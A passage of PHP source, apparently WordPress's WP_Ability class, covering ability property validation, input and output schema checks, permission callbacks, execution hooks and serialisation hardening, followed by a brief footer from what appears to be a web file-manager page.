Receives optional mixed input and returns bool or WP_Error. * @type array<string, mixed> $input_schema Optional. JSON Schema definition for the ability's input. * @type array<string, mixed> $output_schema Optional. JSON Schema definition for the ability's output. * @type array<string, mixed> $meta { * Optional. Additional metadata for the ability. * * @type array<string, bool|null> $annotations { * Optional. Semantic annotations describing the ability's behavioral characteristics. * These annotations are hints for tooling and documentation. * * @type bool|null $readonly Optional. If true, the ability does not modify its environment. * @type bool|null $destructive Optional. If true, the ability may perform destructive updates to its environment. * If false, the ability performs only additive updates. * @type bool|null $idempotent Optional. If true, calling the ability repeatedly with the same arguments * will have no additional effect on its environment. * } * @type bool $show_in_rest Optional. Whether to expose this ability in the REST API. Default false. * } * } */ public function __construct( string $name, array $args ) { $this->name = $name; $properties = $this->prepare_properties( $args ); foreach ( $properties as $property_name => $property_value ) { if ( ! property_exists( $this, $property_name ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: Property name. */ __( 'Property "%1$s" is not a valid property for ability "%2$s". Please check the %3$s class for allowed properties.' ), '<code>' . esc_html( $property_name ) . '</code>', '<code>' . esc_html( $this->name ) . '</code>', '<code>' . __CLASS__ . '</code>' ), '6.9.0' ); continue; } $this->$property_name = $property_value; } } /** * Prepares and validates the properties used to instantiate the ability. * * Errors are thrown as exceptions instead of WP_Errors to allow for simpler handling and overloading. They are then * caught and converted to a WP_Error by WP_Abilities_Registry::register(). * * @since 6.9.0 * * @see WP_Abilities_Registry::register() * * @param array<string, mixed> $args { * An associative array of arguments used to instantiate the ability class. * * @type string $label The human-readable label for the ability. * @type string $description A detailed description of what the ability does. * @type string $category The ability category slug this ability belongs to. * @type callable $execute_callback A callback function to execute when the ability is invoked. * Receives optional mixed input and returns mixed result or WP_Error. * @type callable $permission_callback A callback function to check permissions before execution. * Receives optional mixed input and returns bool or WP_Error. * @type array<string, mixed> $input_schema Optional. JSON Schema definition for the ability's input. Required if ability accepts an input. * @type array<string, mixed> $output_schema Optional. JSON Schema definition for the ability's output. * @type array<string, mixed> $meta { * Optional. Additional metadata for the ability. * * @type array<string, bool|null> $annotations { * Optional. Semantic annotations describing the ability's behavioral characteristics. * These annotations are hints for tooling and documentation. * * @type bool|null $readonly Optional. If true, the ability does not modify its environment. * @type bool|null $destructive Optional. If true, the ability may perform destructive updates to its environment. * If false, the ability performs only additive updates. * @type bool|null $idempotent Optional. If true, calling the ability repeatedly with the same arguments * will have no additional effect on its environment. * } * @type bool $show_in_rest Optional. Whether to expose this ability in the REST API. Default false. * } * } * @return array<string, mixed> { * An associative array of arguments with validated and prepared properties for the ability class. * * @type string $label The human-readable label for the ability. * @type string $description A detailed description of what the ability does. * @type string $category The ability category slug this ability belongs to. * @type callable $execute_callback A callback function to execute when the ability is invoked. * Receives optional mixed input and returns mixed result or WP_Error. * @type callable $permission_callback A callback function to check permissions before execution. * Receives optional mixed input and returns bool or WP_Error. * @type array<string, mixed> $input_schema Optional. JSON Schema definition for the ability's input. * @type array<string, mixed> $output_schema Optional. JSON Schema definition for the ability's output. * @type array<string, mixed> $meta { * Additional metadata for the ability. * * @type array<string, bool|null> $annotations { * Semantic annotations describing the ability's behavioral characteristics. * These annotations are hints for tooling and documentation. * * @type bool|null $readonly If true, the ability does not modify its environment. * @type bool|null $destructive If true, the ability may perform destructive updates to its environment. * If false, the ability performs only additive updates. * @type bool|null $idempotent If true, calling the ability repeatedly with the same arguments * will have no additional effect on its environment. * } * @type bool $show_in_rest Whether to expose this ability in the REST API. Default false. * } * } * @throws InvalidArgumentException if an argument is invalid. */ protected function prepare_properties( array $args ): array { // Required args must be present and of the correct type. if ( empty( $args['label'] ) || ! is_string( $args['label'] ) ) { throw new InvalidArgumentException( __( 'The ability properties must contain a `label` string.' ) ); } if ( empty( $args['description'] ) || ! is_string( $args['description'] ) ) { throw new InvalidArgumentException( __( 'The ability properties must contain a `description` string.' ) ); } if ( empty( $args['category'] ) || ! is_string( $args['category'] ) ) { throw new InvalidArgumentException( __( 'The ability properties must contain a `category` string.' ) ); } // If we are not overriding `ability_class` parameter during instantiation, then we need to validate the execute_callback. if ( get_class( $this ) === self::class && ( empty( $args['execute_callback'] ) || ! is_callable( $args['execute_callback'] ) ) ) { throw new InvalidArgumentException( __( 'The ability properties must contain a valid `execute_callback` function.' ) ); } // If we are not overriding `ability_class` parameter during instantiation, then we need to validate the permission_callback. if ( get_class( $this ) === self::class && ( empty( $args['permission_callback'] ) || ! is_callable( $args['permission_callback'] ) ) ) { throw new InvalidArgumentException( __( 'The ability properties must provide a valid `permission_callback` function.' ) ); } // Optional args only need to be of the correct type if they are present. if ( isset( $args['input_schema'] ) && ! is_array( $args['input_schema'] ) ) { throw new InvalidArgumentException( __( 'The ability properties should provide a valid `input_schema` definition.' ) ); } if ( isset( $args['output_schema'] ) && ! is_array( $args['output_schema'] ) ) { throw new InvalidArgumentException( __( 'The ability properties should provide a valid `output_schema` definition.' ) ); } if ( isset( $args['meta'] ) && ! is_array( $args['meta'] ) ) { throw new InvalidArgumentException( __( 'The ability properties should provide a valid `meta` array.' ) ); } if ( isset( $args['meta']['annotations'] ) && ! is_array( $args['meta']['annotations'] ) ) { throw new InvalidArgumentException( __( 'The ability meta should provide a valid `annotations` array.' ) ); } if ( isset( $args['meta']['show_in_rest'] ) && ! is_bool( $args['meta']['show_in_rest'] ) ) { throw new InvalidArgumentException( __( 'The ability meta should provide a valid `show_in_rest` boolean.' ) ); } // Set defaults for optional meta. $args['meta'] = wp_parse_args( $args['meta'] ?? array(), array( 'annotations' => static::$default_annotations, 'show_in_rest' => self::DEFAULT_SHOW_IN_REST, ) ); $args['meta']['annotations'] = wp_parse_args( $args['meta']['annotations'], static::$default_annotations ); return $args; } /** * Retrieves the name of the ability, with its namespace. * Example: `my-plugin/my-ability`. * * @since 6.9.0 * * @return string The ability name, with its namespace. */ public function get_name(): string { return $this->name; } /** * Retrieves the human-readable label for the ability. * * @since 6.9.0 * * @return string The human-readable ability label. */ public function get_label(): string { return $this->label; } /** * Retrieves the detailed description for the ability. * * @since 6.9.0 * * @return string The detailed description for the ability. */ public function get_description(): string { return $this->description; } /** * Retrieves the ability category for the ability. * * @since 6.9.0 * * @return string The ability category for the ability. */ public function get_category(): string { return $this->category; } /** * Retrieves the input schema for the ability. * * @since 6.9.0 * * @return array<string, mixed> The input schema for the ability. */ public function get_input_schema(): array { return $this->input_schema; } /** * Retrieves the output schema for the ability. * * @since 6.9.0 * * @return array<string, mixed> The output schema for the ability. */ public function get_output_schema(): array { return $this->output_schema; } /** * Retrieves the metadata for the ability. * * @since 6.9.0 * * @return array<string, mixed> The metadata for the ability. */ public function get_meta(): array { return $this->meta; } /** * Retrieves a specific metadata item for the ability. * * @since 6.9.0 * * @param string $key The metadata key to retrieve. * @param mixed $default_value Optional. The default value to return if the metadata item is not found. Default `null`. * @return mixed The value of the metadata item, or the default value if not found. */ public function get_meta_item( string $key, $default_value = null ) { return array_key_exists( $key, $this->meta ) ? $this->meta[ $key ] : $default_value; } /** * Normalizes the input for the ability, applying the default value from the input schema when needed. * * When no input is provided and the input schema is defined with a top-level `default` key, this method returns * the value of that key. If the input schema does not define a `default`, or if the input schema is empty, * this method returns null. If input is provided, it is returned as-is. * * @since 6.9.0 * * @param mixed $input Optional. The raw input provided for the ability. Default `null`. * @return mixed The same input, or the default from schema, or `null` if default not set. */ public function normalize_input( $input = null ) { if ( null !== $input ) { return $input; } $input_schema = $this->get_input_schema(); if ( ! empty( $input_schema ) && array_key_exists( 'default', $input_schema ) ) { return $input_schema['default']; } return null; } /** * Validates input data against the input schema. * * @since 6.9.0 * * @param mixed $input Optional. The input data to validate. Default `null`. * @return true|WP_Error Returns true if valid or the WP_Error object if validation fails. */ public function validate_input( $input = null ) { $input_schema = $this->get_input_schema(); if ( empty( $input_schema ) ) { if ( null === $input ) { return true; } return new WP_Error( 'ability_missing_input_schema', sprintf( /* translators: %s ability name. */ __( 'Ability "%s" does not define an input schema required to validate the provided input.' ), esc_html( $this->name ) ) ); } $valid_input = rest_validate_value_from_schema( $input, $input_schema, 'input' ); if ( is_wp_error( $valid_input ) ) { return new WP_Error( 'ability_invalid_input', sprintf( /* translators: %1$s ability name, %2$s error message. */ __( 'Ability "%1$s" has invalid input. Reason: %2$s' ), esc_html( $this->name ), $valid_input->get_error_message() ) ); } return true; } /** * Invokes a callable, ensuring the input is passed through only if the input schema is defined. * * @since 6.9.0 * * @param callable $callback The callable to invoke. * @param mixed $input Optional. The input data for the ability. Default `null`. * @return mixed The result of the callable execution, or a `WP_Error` if the callback threw. */ protected function invoke_callback( callable $callback, $input = null ) { $args = array(); if ( ! empty( $this->get_input_schema() ) ) { $args[] = $input; } try { return $callback( ...$args ); } catch ( Throwable $e ) { return new WP_Error( 'ability_callback_exception', sprintf( /* translators: 1: Ability name, 2: Exception message. */ __( 'Ability "%1$s" callback threw an exception: %2$s' ), esc_html( $this->name ), esc_html( $e->getMessage() ) ) ); } } /** * Checks whether the ability has the necessary permissions. * * Please note that input is not automatically validated against the input schema. * Use `validate_input()` method to validate input before calling this method if needed. * * @since 6.9.0 * * @see validate_input() * * @param mixed $input Optional. The valid input data for permission checking. Default `null`. * @return bool|WP_Error Whether the ability has the necessary permission. */ public function check_permissions( $input = null ) { if ( ! is_callable( $this->permission_callback ) ) { return new WP_Error( 'ability_invalid_permission_callback', /* translators: %s ability name. */ sprintf( __( 'Ability "%s" does not have a valid permission callback.' ), esc_html( $this->name ) ) ); } return $this->invoke_callback( $this->permission_callback, $input ); } /** * Executes the ability callback. * * @since 6.9.0 * * @param mixed $input Optional. The input data for the ability. Default `null`. * @return mixed|WP_Error The result of the ability execution, or WP_Error on failure. */ protected function do_execute( $input = null ) { if ( ! is_callable( $this->execute_callback ) ) { return new WP_Error( 'ability_invalid_execute_callback', /* translators: %s ability name. */ sprintf( __( 'Ability "%s" does not have a valid execute callback.' ), esc_html( $this->name ) ) ); } return $this->invoke_callback( $this->execute_callback, $input ); } /** * Validates output data against the output schema. * * @since 6.9.0 * * @param mixed $output The output data to validate. * @return true|WP_Error Returns true if valid, or a WP_Error object if validation fails. */ protected function validate_output( $output ) { $output_schema = $this->get_output_schema(); if ( empty( $output_schema ) ) { return true; } $valid_output = rest_validate_value_from_schema( $output, $output_schema, 'output' ); if ( is_wp_error( $valid_output ) ) { return new WP_Error( 'ability_invalid_output', sprintf( /* translators: %1$s ability name, %2$s error message. */ __( 'Ability "%1$s" has invalid output. Reason: %2$s' ), esc_html( $this->name ), $valid_output->get_error_message() ) ); } return true; } /** * Executes the ability after input validation and running a permission check. * Before returning the return value, it also validates the output. * * @since 6.9.0 * * @param mixed $input Optional. The input data for the ability. Default `null`. * @return mixed|WP_Error The result of the ability execution, or WP_Error on failure. */ public function execute( $input = null ) { $input = $this->normalize_input( $input ); $is_valid = $this->validate_input( $input ); if ( is_wp_error( $is_valid ) ) { return $is_valid; } $has_permissions = $this->check_permissions( $input ); if ( true !== $has_permissions ) { if ( is_wp_error( $has_permissions ) ) { // Don't leak the permission check error to someone without the correct perms. _doing_it_wrong( __METHOD__, esc_html( $has_permissions->get_error_message() ), '6.9.0' ); } return new WP_Error( 'ability_invalid_permissions', /* translators: %s ability name. */ sprintf( __( 'Ability "%s" does not have necessary permission.' ), esc_html( $this->name ) ) ); } /** * Fires before an ability gets executed, after input validation and permissions check. * * @since 6.9.0 * * @param string $ability_name The name of the ability. * @param mixed $input The input data for the ability. */ do_action( 'wp_before_execute_ability', $this->name, $input ); $result = $this->do_execute( $input ); if ( is_wp_error( $result ) ) { return $result; } $is_valid = $this->validate_output( $result ); if ( is_wp_error( $is_valid ) ) { return $is_valid; } /** * Fires immediately after an ability finished executing. * * @since 6.9.0 * * @param string $ability_name The name of the ability. * @param mixed $input The input data for the ability. * @param mixed $result The result of the ability execution. */ do_action( 'wp_after_execute_ability', $this->name, $input, $result ); return $result; } /** * Wakeup magic method. * * @since 6.9.0 * @throws LogicException If the ability object is unserialized. * This is a security hardening measure to prevent unserialization of the ability. */ public function __wakeup(): void { throw new LogicException( __CLASS__ . ' should never be unserialized.' ); } /** * Sleep magic method. * * @since 6.9.0 * @throws LogicException If the ability object is serialized. * This is a security hardening measure to prevent serialization of the ability. */ public function __sleep(): array { throw new LogicException( __CLASS__ . ' should never be serialized.' ); } }
dvadf
dvadf
| ver. 1.4 |
Github
|
.
| PHP 7.3.33 | Generation time: 0 |
proxy
|
phpinfo
|
Settings